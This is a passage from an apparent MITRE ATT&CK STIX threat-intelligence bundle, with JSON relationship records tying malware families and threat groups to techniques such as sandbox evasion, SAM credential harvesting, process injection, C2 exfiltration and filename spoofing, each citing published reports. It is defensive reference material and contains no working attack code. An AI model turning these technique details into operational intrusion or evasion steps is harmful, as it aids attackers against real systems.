                    "description": "Lee, B., Falcone, R. (2019, January 18). DarkHydrus delivers new Trojan that can use Google Drive for C2 communications. Retrieved April 17, 2019."
                }
            ],
            "description": "[RogueRobin](https://attack.mitre.org/software/S0270) uses regsvr32.exe to run a .sct file for execution.(Citation: Unit42 DarkHydrus Jan 2019)",
            "relationship_type": "uses",
            "id": "relationship--6246955e-05ae-4bd8-8ac7-c02447634486",
            "type": "relationship",
            "modified": "2019-04-24T23:55:43.443Z",
            "created": "2019-04-19T12:37:34.748Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c",
            "target_ref": "attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336",
            "external_references": [
                {
                    "url": "https://securelist.com/files/2015/06/The_Mystery_of_Duqu_2_0_a_sophisticated_cyberespionage_actor_returns.pdf",
                    "description": "Kaspersky Lab. (2015, June 11). The Duqu 2.0. Retrieved April 21, 2017.",
                    "source_name": "Kaspersky Duqu 2.0"
                }
            ],
            "description": "[Duqu](https://attack.mitre.org/software/S0038) has used <code>msiexec</code> to execute malicious Windows Installer packages. Additionally, a PROPERTY=VALUE pair containing a 56-bit encryption key has been used to decrypt the main payload from the installer packages.(Citation: Kaspersky Duqu 2.0)",
            "relationship_type": "uses",
            "id": "relationship--16ad2735-61b3-4cb4-8f23-439df70715c8",
            "type": "relationship",
            "modified": "2020-03-17T14:39:20.432Z",
            "created": "2019-04-19T13:18:41.680Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d",
            "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055",
            "external_references": [
                {
                    "description": "Lee, B., Falcone, R. (2018, December 12). Dear Joohn: The Sofacy Group\u2019s Global Campaign. Retrieved April 19, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/",
                    "source_name": "Unit42 Sofacy Dec 2018"
                }
            ],
            "description": "One variant of [Zebrocy](https://attack.mitre.org/software/S0251) uses WMI queries to gather information.(Citation: Unit42 Sofacy Dec 2018)",
            "relationship_type": "uses",
            "id": "relationship--16e1d79d-1eb9-4ce7-a21e-115ce2a414f1",
            "type": "relationship",
            "modified": "2019-07-17T01:18:33.076Z",
            "created": "2019-04-19T13:42:46.179Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d",
            "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062",
            "external_references": [
                {
                    "description": "Lee, B., Falcone, R. (2018, December 12). Dear Joohn: The Sofacy Group\u2019s Global Campaign. Retrieved April 19, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/",
                    "source_name": "Unit42 Sofacy Dec 2018"
                },
                {
                    "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.",
                    "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50",
                    "source_name": "Accenture SNAKEMACKEREL Nov 2018"
                }
            ],
            "description": "[Zebrocy](https://attack.mitre.org/software/S0251)'s Delphi variant was packed with UPX.(Citation: Unit42 Sofacy Dec 2018)(Citation: Accenture SNAKEMACKEREL Nov 2018)",
            "relationship_type": "uses",
            "id": "relationship--895a3c63-26d1-4846-8b8d-8f6b2c266910",
            "type": "relationship",
            "modified": "2019-07-17T01:18:33.123Z",
            "created": "2019-04-19T13:42:46.194Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
            "target_ref": "attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534",
            "external_references": [
                {
                    "source_name": "Unit42 Sofacy Dec 2018",
                    "url": "https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/",
                    "description": "Lee, B., Falcone, R. (2018, December 12). Dear Joohn: The Sofacy Group\u2019s Global Campaign. Retrieved April 19, 2019."
                }
            ],
            "description": "[APT28](https://attack.mitre.org/groups/G0007) used weaponized Microsoft Word documents abusing the remote template function to retrieve a malicious macro. (Citation: Unit42 Sofacy Dec 2018)",
            "relationship_type": "uses",
            "id": "relationship--73321011-c231-402e-a6bb-b9fd6cf6b658",
            "type": "relationship",
            "modified": "2020-03-20T16:37:06.244Z",
            "created": "2019-04-19T13:58:34.860Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4",
            "target_ref": "attack-pattern--29be378d-262d-4e99-b00d-852d573628e6",
            "external_references": [
                {
                    "url": "https://github.com/n1nj4sec/pupy",
                    "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.",
                    "source_name": "GitHub Pupy"
                }
            ],
            "description": "[Pupy](https://attack.mitre.org/software/S0192) has a module that checks a number of indicators on the system to determine if its running on a virtual machine.(Citation: GitHub Pupy)",
            "relationship_type": "uses",
            "id": "relationship--88587bdd-ea5a-4d80-af9f-cc900c5705e3",
            "type": "relationship",
            "modified": "2020-03-27T23:26:38.031Z",
            "created": "2019-04-19T14:04:47.199Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c",
            "target_ref": "attack-pattern--29be378d-262d-4e99-b00d-852d573628e6",
            "external_references": [
                {
                    "source_name": "Unit 42 OilRig Sept 2018",
                    "description": "Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/"
                }
            ],
            "description": "[OopsIE](https://attack.mitre.org/software/S0264) performs several anti-VM and sandbox checks on the victim's machine. One technique the group has used was to perform a WMI query <code>SELECT * FROM MSAcpi_ThermalZoneTemperature</code> to check the temperature to see if it\u2019s running in a virtual environment.(Citation: Unit 42 OilRig Sept 2018)",
            "relationship_type": "uses",
            "id": "relationship--6a93c25c-c9cb-4cd9-a36b-1f2353e91e32",
            "type": "relationship",
            "modified": "2020-03-16T18:24:29.729Z",
            "created": "2019-04-19T14:09:25.435Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--1d1fce2f-0db5-402b-9843-4278a0694637",
            "target_ref": "attack-pattern--29be378d-262d-4e99-b00d-852d573628e6",
            "external_references": [
                {
                    "source_name": "Talos GravityRAT",
                    "description": "Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.",
                    "url": "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html"
                }
            ],
            "description": "[GravityRAT](https://attack.mitre.org/software/S0237) uses WMI to check the BIOS and manufacturer information for strings like \"VMWare\", \"Virtual\", and \"XEN\" and another WMI request to get the current temperature of the hardware to determine if it's a virtual machine environment. (Citation: Talos GravityRAT)",
            "relationship_type": "uses",
            "id": "relationship--59a6a413-1f3f-44bd-8b66-5685a1e8e6df",
            "type": "relationship",
            "modified": "2020-03-16T18:22:28.599Z",
            "created": "2019-04-19T14:16:54.989Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--9af05de0-bc09-4511-a350-5eb8b06185c1",
            "target_ref": "attack-pattern--29be378d-262d-4e99-b00d-852d573628e6",
            "external_references": [
                {
                    "source_name": "Unit 42 BadPatch Oct 2017",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-badpatch/",
                    "description": "Bar, T., Conant, S. (2017, October 20). BadPatch. Retrieved November 13, 2018."
                }
            ],
            "description": "[BadPatch](https://attack.mitre.org/software/S0337) attempts to detect if it is being run in a Virtual Machine (VM) using a WMI query for disk drive name, BIOS, and motherboard information. (Citation: Unit 42 BadPatch Oct 2017)",
            "relationship_type": "uses",
            "id": "relationship--5ffaf382-3e91-409b-932f-24d107c59308",
            "type": "relationship",
            "modified": "2020-03-16T18:09:35.686Z",
            "created": "2019-04-19T14:37:04.148Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--0817aaf2-afea-4c32-9285-4dcd1df5bf14",
            "target_ref": "attack-pattern--29be378d-262d-4e99-b00d-852d573628e6",
            "external_references": [
                {
                    "url": "https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/",
                    "description": "Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018.",
                    "source_name": "ASERT Donot March 2018"
                }
            ],
            "description": "[yty](https://attack.mitre.org/software/S0248) has some basic anti-sandbox detection that tries to detect Virtual PC, Sandboxie, and VMware. (Citation: ASERT Donot March 2018)",
            "relationship_type": "uses",
            "id": "relationship--4f644120-7b96-4234-b81a-3160b34bca87",
            "type": "relationship",
            "modified": "2020-03-16T18:34:05.760Z",
            "created": "2019-04-19T14:43:17.603Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd",
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                    "url": "https://unit42.paloaltonetworks.com/unit42-paranoid-plugx/",
                    "description": "Lancaster, T., Idrizovic, E. (2017, June 27). Paranoid PlugX. Retrieved April 19, 2019."
                }
            ],
            "description": "[PlugX](https://attack.mitre.org/software/S0013) checks if VMware tools is running in the background by searching for any process named \"vmtoolsd\". (Citation: Unit42 PlugX June 2017)",
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                {
                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/",
                    "description": "Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 2018.",
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                }
            ],
            "description": "[UBoatRAT](https://attack.mitre.org/software/S0333) checks for virtualization software such as VMWare, VirtualBox, or QEmu on the compromised machine.(Citation: PaloAlto UBoatRAT Nov 2017)",
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                    "url": "https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html#more",
                    "description": "Baker, B., Unterbrink H. (2018, July 03). Smoking Guns - Smoke Loader learned new tricks. Retrieved July 5, 2018.",
                    "source_name": "Talos Smoke Loader July 2018"
                }
            ],
            "description": "[Smoke Loader](https://attack.mitre.org/software/S0226) scans processes to perform anti-VM checks. (Citation: Talos Smoke Loader July 2018)",
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                    "description": "Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.",
                    "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/"
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            ],
            "description": "[FinFisher](https://attack.mitre.org/software/S0182) obtains the hardware device list and checks if the MD5 of the vendor ID is equal to a predefined list in order to check for sandbox/virtualized environments.(Citation: Microsoft FinFisher March 2018)",
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            ],
            "description": "[HOPLIGHT](https://attack.mitre.org/software/S0376) can launch cmd.exe to execute commands on the system.(Citation: US-CERT HOPLIGHT Apr 2019)\t",
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                }
            ],
            "description": "[HOPLIGHT](https://attack.mitre.org/software/S0376) has modified the firewall using [netsh](https://attack.mitre.org/software/S0108).(Citation: US-CERT HOPLIGHT Apr 2019)\t",
            "relationship_type": "uses",
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                }
            ],
            "description": "[HOPLIGHT](https://attack.mitre.org/software/S0376) has used svchost.exe to execute a malicious DLL .(Citation: US-CERT HOPLIGHT Apr 2019)",
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                }
            ],
            "description": "[HOPLIGHT](https://attack.mitre.org/software/S0376) has used WMI to recompile the Managed Object Format (MOF) files in the WMI repository.(Citation: US-CERT HOPLIGHT Apr 2019)\t",
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            ],
            "description": "[HOPLIGHT](https://attack.mitre.org/software/S0376) has the capability to harvest credentials and passwords from the SAM database.(Citation: US-CERT HOPLIGHT Apr 2019)\t",
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                }
            ],
            "description": "[HOPLIGHT](https://attack.mitre.org/software/S0376) has been observed loading several APIs associated with Pass the Hash.(Citation: US-CERT HOPLIGHT Apr 2019)\t",
            "relationship_type": "uses",
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                }
            ],
            "description": "[HOPLIGHT](https://attack.mitre.org/software/S0376) has used uncommon TCP \"high port\" to \"high port\" communication.(Citation: US-CERT HOPLIGHT Apr 2019)\t",
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                }
            ],
            "description": "[HOPLIGHT](https://attack.mitre.org/software/S0376) has connected outbound over TCP port 443. (Citation: US-CERT HOPLIGHT Apr 2019)\t",
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                }
            ],
            "description": "[HOPLIGHT](https://attack.mitre.org/software/S0376) has utilized Zlib compression to obfuscate the communications payload. (Citation: US-CERT HOPLIGHT Apr 2019)\t\n",
            "relationship_type": "uses",
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            ],
            "description": "[HOPLIGHT](https://attack.mitre.org/software/S0376) has the ability to connect to a remote host in order to upload and download files.(Citation: US-CERT HOPLIGHT Apr 2019)\t",
            "relationship_type": "uses",
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            ],
            "description": "[HOPLIGHT](https://attack.mitre.org/software/S0376) has modified Managed Object Format (MOF) files within the Registry to run specific commands and create persistence on the system.(Citation: US-CERT HOPLIGHT Apr 2019)\t",
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            ],
            "description": "[HOPLIGHT](https://attack.mitre.org/software/S0376) has been observed collecting victim machine information like OS version, drivers, volume information and more.(Citation: US-CERT HOPLIGHT Apr 2019)",
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            ],
            "description": "[HOPLIGHT](https://attack.mitre.org/software/S0376) has been observed collecting system time from victim machines.(Citation: US-CERT HOPLIGHT Apr 2019)",
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            "description": "[HOPLIGHT](https://attack.mitre.org/software/S0376) has injected into running processes.(Citation: US-CERT HOPLIGHT Apr 2019)\t",
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                {
                    "description": "US-CERT. (2019, April 10). MAR-10135536-8 \u2013 North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.",
                    "url": "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A",
                    "source_name": "US-CERT HOPLIGHT Apr 2019"
                }
            ],
            "description": "[HOPLIGHT](https://attack.mitre.org/software/S0376) has been observed enumerating system drives and partitions.(Citation: US-CERT HOPLIGHT Apr 2019)\t",
            "relationship_type": "uses",
            "id": "relationship--536a0d57-9faf-4baa-83de-40c7aaafe28c",
            "type": "relationship",
            "modified": "2019-04-22T19:41:53.492Z",
            "created": "2019-04-19T15:30:36.838Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
            "target_ref": "malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369",
            "external_references": [
                {
                    "source_name": "US-CERT HOPLIGHT Apr 2019",
                    "url": "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A",
                    "description": "US-CERT. (2019, April 10). MAR-10135536-8 \u2013 North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019."
                }
            ],
            "description": "(Citation: US-CERT HOPLIGHT Apr 2019)",
            "relationship_type": "uses",
            "id": "relationship--35305a51-69ac-4fe2-b9e2-3c9a296e9f9b",
            "type": "relationship",
            "modified": "2019-09-09T19:15:45.674Z",
            "created": "2019-04-19T15:31:24.181Z"
        },
        {
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369",
            "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea",
            "external_references": [
                {
                    "description": "US-CERT. (2019, April 10). MAR-10135536-8 \u2013 North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.",
                    "url": "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A",
                    "source_name": "US-CERT HOPLIGHT Apr 2019"
                }
            ],
            "description": "[HOPLIGHT](https://attack.mitre.org/software/S0376) has multiple proxy options that mask traffic between the malware and the remote operators.(Citation: US-CERT HOPLIGHT Apr 2019)\t\n",
            "relationship_type": "uses",
            "id": "relationship--321703ba-7871-46c0-837e-6a2e1dc5aba9",
            "type": "relationship",
            "modified": "2019-04-22T19:41:53.498Z",
            "created": "2019-04-19T16:27:45.818Z"
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            ],
            "source_ref": "malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369",
            "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433",
            "external_references": [
                {
                    "description": "US-CERT. (2019, April 10). MAR-10135536-8 \u2013 North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.",
                    "url": "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A",
                    "source_name": "US-CERT HOPLIGHT Apr 2019"
                }
            ],
            "description": "[HOPLIGHT](https://attack.mitre.org/software/S0376) has multiple C2 channels in place in case one fails.(Citation: US-CERT HOPLIGHT Apr 2019)\t",
            "relationship_type": "uses",
            "id": "relationship--1708aa35-a362-429f-be06-82dc106dfeb4",
            "type": "relationship",
            "modified": "2019-04-22T19:41:53.519Z",
            "created": "2019-04-19T16:27:45.836Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369",
            "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d",
            "external_references": [
                {
                    "description": "US-CERT. (2019, April 10). MAR-10135536-8 \u2013 North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.",
                    "url": "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A",
                    "source_name": "US-CERT HOPLIGHT Apr 2019"
                }
            ],
            "description": "[HOPLIGHT](https://attack.mitre.org/software/S0376) has used its C2 channel to exfiltrate data.(Citation: US-CERT HOPLIGHT Apr 2019)\t",
            "relationship_type": "uses",
            "id": "relationship--7101e112-c694-498f-be15-c0790f5d8547",
            "type": "relationship",
            "modified": "2019-04-22T19:41:53.520Z",
            "created": "2019-04-19T16:27:45.847Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "tool--981acc4c-2ede-4b56-be6e-fa1a75f37acf",
            "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735",
            "external_references": [
                {
                    "source_name": "Nltest Manual",
                    "url": "https://ss64.com/nt/nltest.html",
                    "description": "ss64. (n.d.). NLTEST.exe - Network Location Test. Retrieved February 14, 2019."
                }
            ],
            "description": "[Nltest](https://attack.mitre.org/software/S0359) may be used to enumerate remote domain controllers using options such as <code>/dclist</code> and <code>/dsgetdc</code>.(Citation: Nltest Manual)",
            "relationship_type": "uses",
            "id": "relationship--cb9f7bf4-a118-457c-95f8-512d84cf7be2",
            "type": "relationship",
            "modified": "2019-04-22T19:06:17.471Z",
            "created": "2019-04-19T16:28:49.902Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "tool--981acc4c-2ede-4b56-be6e-fa1a75f37acf",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "external_references": [
                {
                    "source_name": "Nltest Manual",
                    "url": "https://ss64.com/nt/nltest.html",
                    "description": "ss64. (n.d.). NLTEST.exe - Network Location Test. Retrieved February 14, 2019."
                }
            ],
            "description": "[Nltest](https://attack.mitre.org/software/S0359) may be used to enumerate the parent domain of a local machine using <code>/parentdomain</code>.(Citation: Nltest Manual)",
            "relationship_type": "uses",
            "id": "relationship--d969a8d8-189e-4315-81a4-c2244dfbd92c",
            "type": "relationship",
            "modified": "2019-04-22T19:06:17.484Z",
            "created": "2019-04-19T16:39:52.907Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--654addf1-47ab-410a-8578-e1a0dc2a49b8",
            "target_ref": "attack-pattern--d74c4a7e-ffbf-432f-9365-7ebf1f787cab",
            "relationship_type": "mitigates",
            "id": "relationship--73f87c11-addb-4900-9180-f2b98a425365",
            "type": "relationship",
            "modified": "2021-04-12T18:34:07.211Z",
            "created": "2019-04-19T18:46:48.083Z"
        },
        {
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80",
            "target_ref": "attack-pattern--41868330-6ee2-4d0f-b743-9f2294c3c9b6",
            "external_references": [
                {
                    "url": "http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/",
                    "description": "Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016.",
                    "source_name": "Palo Alto Networks BBSRAT"
                }
            ],
            "description": "[BBSRAT](https://attack.mitre.org/software/S0127) can compress data with ZLIB prior to sending it back to the C2 server.(Citation: Palo Alto Networks BBSRAT)",
            "relationship_type": "uses",
            "id": "relationship--35373a50-d85d-4ac5-94bc-5896b48ac5c6",
            "type": "relationship",
            "modified": "2020-03-30T01:56:32.914Z",
            "created": "2019-04-19T19:02:03.938Z"
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            ],
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            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "external_references": [
                {
                    "source_name": "LogRhythm WannaCry",
                    "url": "https://logrhythm.com/blog/a-technical-analysis-of-wannacry-ransomware/",
                    "description": "Noerenberg, E., Costis, A., and Quist, N. (2017, May 16). A Technical Analysis of WannaCry Ransomware. Retrieved March 25, 2019."
                },
                {
                    "description": "Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html",
                    "source_name": "FireEye WannaCry 2017"
                }
            ],
            "description": "[WannaCry](https://attack.mitre.org/software/S0366) searches for variety of user files by file extension before encrypting them using RSA and AES, including Office, PDF, image, audio, video, source code, archive/compression format, and key and certificate files.(Citation: LogRhythm WannaCry)(Citation: FireEye WannaCry 2017)",
            "relationship_type": "uses",
            "id": "relationship--3ca496bf-41f9-4d0b-b36d-576f90db340e",
            "type": "relationship",
            "modified": "2019-04-22T11:43:33.561Z",
            "created": "2019-04-19T19:54:48.640Z"
        },
        {
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--bb25b897-bfc7-4128-839d-52e9764dbfa6",
            "target_ref": "attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a",
            "relationship_type": "mitigates",
            "id": "relationship--baa9ac7d-b1fd-4e31-b08a-58c84b39153e",
            "type": "relationship",
            "modified": "2020-07-14T19:33:52.635Z",
            "created": "2019-04-22T13:54:51.514Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--c5574ca0-d5a4-490a-b207-e4658e5fd1d7",
            "target_ref": "attack-pattern--77eae145-55db-4519-8ae5-77b0c7215d69",
            "external_references": [
                {
                    "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/",
                    "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.",
                    "source_name": "Scarlet Mimic Jan 2016"
                }
            ],
            "description": "[Scarlet Mimic](https://attack.mitre.org/groups/G0029) has used the left-to-right override character in self-extracting RAR archive spearphishing attachment file names.(Citation: Scarlet Mimic Jan 2016)",
            "relationship_type": "uses",
            "id": "relationship--d617132e-68a7-489a-887f-1c40b147ea62",
            "type": "relationship",
            "modified": "2020-03-18T15:47:59.332Z",
            "created": "2019-04-22T15:06:12.673Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            ],
            "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
            "target_ref": "attack-pattern--77eae145-55db-4519-8ae5-77b0c7215d69",
            "external_references": [
                {
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf",
                    "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.",
                    "source_name": "Villeneuve et al 2014"
                }
            ],
            "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) has used the right-to-left override character in spearphishing attachment names to trick targets into executing .scr and .exe files.(Citation: Villeneuve et al 2014)",
            "relationship_type": "uses",
            "id": "relationship--a5aebe97-98cc-46a5-b3f9-1a0497bc72ba",
            "type": "relationship",
            "modified": "2020-03-18T00:50:46.261Z",
            "created": "2019-04-22T15:08:48.216Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            "source_ref": "intrusion-set--f9c06633-dcff-48a1-8588-759e7cec5694",
            "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0",
            "external_references": [
                {
                    "description": "Carr, N.. (2018, October 25). Nick Carr Status Update. Retrieved April 22, 2019.",
                    "url": "https://twitter.com/ItsReallyNick/status/1055321868641689600",
                    "source_name": "Twitter ItsReallyNick Platinum Masquerade"
                }
            ],
            "description": "[PLATINUM](https://attack.mitre.org/groups/G0068) has renamed rar.exe to avoid detection.(Citation: Twitter ItsReallyNick Platinum Masquerade)",
            "relationship_type": "uses",
            "id": "relationship--f3b19f07-d8a9-4aca-a649-039024997a4f",
            "type": "relationship",
            "modified": "2021-04-22T00:39:49.797Z",
            "created": "2019-04-22T16:30:47.198Z"
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        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3",
            "target_ref": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4",
            "external_references": [
                {
                    "url": "https://github.com/EmpireProject/Empire",
                    "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.",
                    "source_name": "Github PowerShell Empire"
                }
            ],
            "description": "[Empire](https://attack.mitre.org/software/S0363) can use Dropbox and GitHub for C2.(Citation: Github PowerShell Empire)",
            "relationship_type": "uses",
            "id": "relationship--ac4e0574-879e-4155-84ed-5b2d8be0b603",
            "type": "relationship",
            "modified": "2021-04-09T14:53:15.824Z",
            "created": "2019-04-22T18:35:20.097Z"
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        {
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            "object_marking_refs": [
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            "source_ref": "malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369",
            "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896",
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                {
                    "description": "US-CERT. (2019, April 10). MAR-10135536-8 \u2013 North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.",
                    "url": "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A",
                    "source_name": "US-CERT HOPLIGHT Apr 2019"
                }
            ],
            "description": "A variant of [HOPLIGHT](https://attack.mitre.org/software/S0376) hooks lsass.exe, and lsass.exe then checks the Registry for the data value 'rdpproto' under the key <code>SYSTEM\\CurrentControlSet\\Control\\Lsa Name</code>.(Citation: US-CERT HOPLIGHT Apr 2019)",
            "relationship_type": "uses",
            "id": "relationship--1c548d89-557e-4c48-9b71-8a761d94e77b",
            "type": "relationship",
            "modified": "2019-04-22T19:41:53.522Z",
            "created": "2019-04-22T19:39:48.825Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--82c21600-ccb6-4232-8c04-ef3792b56628",
            "target_ref": "attack-pattern--c675646d-e204-4aa8-978d-e3d6d65885c4",
            "relationship_type": "mitigates",
            "id": "relationship--ef08ec46-915e-4e19-8969-1cdc79a1de4f",
